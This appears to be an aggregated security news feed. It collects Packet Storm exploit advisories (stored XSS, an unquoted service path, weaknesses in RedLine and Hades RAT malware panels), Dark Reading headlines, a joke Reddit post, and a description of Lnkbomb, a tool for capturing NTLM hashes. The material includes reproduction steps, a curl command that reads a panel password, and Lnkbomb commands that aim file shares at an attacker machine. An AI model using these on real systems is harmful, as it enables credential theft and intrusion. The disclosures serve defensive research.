Exploit Collector
Automatic Question Paper Generator System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Automatic Question Paper Generator System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | d5c150fff3e3987b7808102f9f5127ab

Download
# Exploit Title: Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
# Date: 2022-11-03
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/15190/automatic-question-paper-generator-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
Summary:
================
The Automatic Question Paper Generator in version 1.0 is vulnerable to
arbitrary persistent javascript code injection (XSS), which can lead to
thwarting of browser resources and session cookie theft.
Severity Level:
================
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Product:
================
Automatic Question Paper Generator v1.0
Steps to Reproduce:
================

1. Open your browser, create an account on the site and log into it (
http://target.com/aqpg/users/login.php).

2. Click on your profile icon and then click on My Account. The field
called "First Name", "Middle Name", "Last Name" are vulnerable to XSS,
inject the payload into one of them and then save your changes.

Source:packetstormsecurity.com

Exploit Collector
VIVE Runtime Service 1.0.0.4 Unquoted Service Path

https://3.bp.blogspot.com/-XNOhyhmygqg/WWlvTLzMLRI/AAAAAAAAINo/1vKZqL-UEc0yrpuP08mTX_Jxjx_k32PvQCLcBGAs/s1600/h41.png
VIVE Runtime Service version 1.0.0.4 suffers from an unquoted service path vulnerability.

MD5 | 897fc0a78d5fbf6e7a9c6b21ff3e5b03

Download
# Exploit Title: VIVE Runtime Service - 'ViveAgentService' Unquoted Service Path
# Date: 11/03/2022
# Exploit Author: Faisal Alasmari
# Vendor Homepage: https://www.vive.com/
# Software Link: https://developer.vive.com/resources/downloads/
# Version: 1.0.0.4
# Tested: Windows 10 x64
C:\Users\User>sc qc "VIVE Runtime Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VIVE Runtime Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\VIVE\Updater\App\ViveRuntimeService\ViveAgentService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VIVE Runtime Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

Exploit Collector
RedLine.MainPanel Insecure Permissions

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
RedLine.MainPanel malware suffers from an insecure permissions vulnerability.

MD5 | e1c2071d58a69c10bc1e67e836d70e65

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/baf102927947289e4d589028620ce291.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: RedLine.MainPanel - cracked.exe
Vulnerability: Insecure Permissions
Description: The malware writes PE files with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: RedLine
Type: PE32
MD5: baf102927947289e4d589028620ce291
Vuln ID: MVID-2022-0511
Disclosure: 03/13/2022

Exploit/PoC:
C:\>cacls Build.exe
C:\Build.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\>dir Build.exe
Volume in drive C has no label.

Directory of C:\

03/04/2022 02:24 AM 144,384 Build.exe
1 File(s) 144,384 bytes
0 Dir(s) 25,982,451,712 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Hades RAT Web Panel Insecure Credential Storage

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
The web panel in the Hades RAT malware suffers from an insecure credential storage vulnerability.

MD5 | b6fe6879a7ac2a503bf1cc0e4e5b66fb

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Hades RAT - Web Panel
Vulnerability: Insecure Credential Storage
Family: Hades
Type: WebUI
MD5: c4cc1317aea42f7dd4a1b786c5278a24
MD5: a117b7fa4691b766dd5aa6455438fded (strings.ini)
Vuln ID: MVID-2022-0512
Disclosure: 03/13/2022
Description: The Hades Rat malware web-panel listens on Port 80 and stores its weak password "megapass" in plaintext in the strings.ini file.

Exploit/PoC:
"strings.ini"

[identifiant]
mdp = "megapass"

[strings]
error_mdp = "Error Password False..."

form_mdp = "Please put your password."
form_valid = "Send !"

com_header = "Write your commands for your bot(s)"
....

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Hades RAT Web Panel Information Disclosure

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
The web panel in Hades RAT malware suffers from an information disclosure vulnerability.

MD5 | ee8cfc716a47fec47aacfd92a9a73fdd

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Hades RAT - Web Panel
Vulnerability: Information Disclosure
Description: The Hades Rat web-panel listens on Port 80. There is no authentication check or default .htaccess file protecting the root directory. Third-party attackers who can reach the web-panel can read the INI file disclosing the password.
Family: Hades
Type: WebUI
MD5: c4cc1317aea42f7dd4a1b786c5278a24
MD5: a117b7fa4691b766dd5aa6455438fded (strings.ini)
Vuln ID: MVID-2022-0513
Disclosure: 03/13/2022

Exploit/PoC:
C:\>curl http://HADES_RAT_IP/WebPanel/strings.ini
[identifiant]
mdp = "megapass"

[strings]
error_mdp = "Error Password False..."

form_mdp = "Please put your password."
form_valid = "Send !"

com_header = "Write your commands for your bot(s)"
com1 = "DDOS Commands (ex: 127.0.0.1)"
com2 = "Download / Execute Commands (ex: http://www.site.com/dl.exe)"
com3 = "Stop DDOS or Restart Commands (ex: Restart)"

titre = "Hadès RAT - WebPanel"

[images]
header = "images/header.png"
header_mdp = "images/lock.png"
C:\>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Mobile Threats Skyrocket

A new report shows an explosion of zero-day attacks and malware focused on mobile devices just as companies adopted widespread bring-your-own device policies.

Dark Reading: Attacks/Breaches
Catching the Evasive REvil Ransomware Gang With AI

Ransomware-as-a-service gangs are difficult to shut down, but sophisticated, AI-driven defenses may finally be killing their profits.

Dark Reading: Attacks/Breaches
Embracing Security by Design: Security Isn't a Pretty Picture

A starting point for secure UI and UX? Remember that security measures should frustrate attackers, not users.

Every wannabe pentester on reddit be like..
https://www.reddit.com/r/Pentesting/comments/te6797/every_wannabe_pentester_on_reddit_be_like/

<!-- SC_OFF -->Hello, my name is Fred and I’m studying to be a pentester. Well, not really. I know I will get OSCP one day because everyone says CEH is bad. Anyways… I work as a baker. And recently I watched Mr Robot and thought that was cool, so I wanna do that now. I have watched all seasons, so i feel pretty confident. However I tried HTB and THM and couldn’t really figure out how to connect to their labs. I assume it’s not hard though. Anyways, I have 0 technical skills, in fact I used to skip computer class cause it was so boringgg. I guess i’m just someone who learns on the job. So I’m thinking of applying for some junior pentest roles, how much will I get paid? Money isn’t a really big issue though, I want to be able to pwn seasoned software engineers, sys admins and architects and tell them why their solutions SUCK! I just want to hack the planet. Anyways, I have installed kali and done a apt-get upgrade, got this bad ass wallpaper going on. This guy said you shouldn’t use it as a daily driver, but how will people then know I’m leet? I also ran a nmap, can’t believe how easy hacking is! So back to my question.. how long do you think it will take to get a job? <!-- SC_ON --> submitted by /u/mrdeadbeat (https://www.reddit.com/user/mrdeadbeat)
[link] (https://www.reddit.com/r/Pentesting/comments/te6797/every_wannabe_pentester_on_reddit_be_like/) [comments] (https://www.reddit.com/r/Pentesting/comments/te6797/every_wannabe_pentester_on_reddit_be_like/)

Lnkbomb - Malicious Shortcut Generator For Collecting NTLM Hashes From Insecure File Shares
http://www.kitploit.com/2022/03/lnkbomb-malicious-shortcut-generator.html

Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability (https://www.kitploit.com/search/label/Vulnerability) exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder (https://www.kitploit.com/search/label/Responder) or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat. The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload.
Python Usage Installing Lnkbomb Note that the project works consistently in Windows. It may have issues in Linux. git clone https://github.com/dievus/lnkbomb.git Change directories to lnkbomb and run: python3 lnkbomb.py -h This will output the help menu, which contains the following flags: -h, --help - Lists the help options -t, --target - Specifies the target file share (https://www.kitploit.com/search/label/File%20Share) (ex. -t \\192.168.1.1\Share) -a, --attacker - Specifies the tester's attack machine (ex. -a 192.168.1.2) -r, --recover - Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover) Examples of full commands include: python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2 python3 lnkbomb.py -r randomfilegenerated.recover You will need to utilize a tool like Responder or smbserver to capture the NTLM hash.
responder -I eth0 -dwf -v or smbserver.py . . -smb2support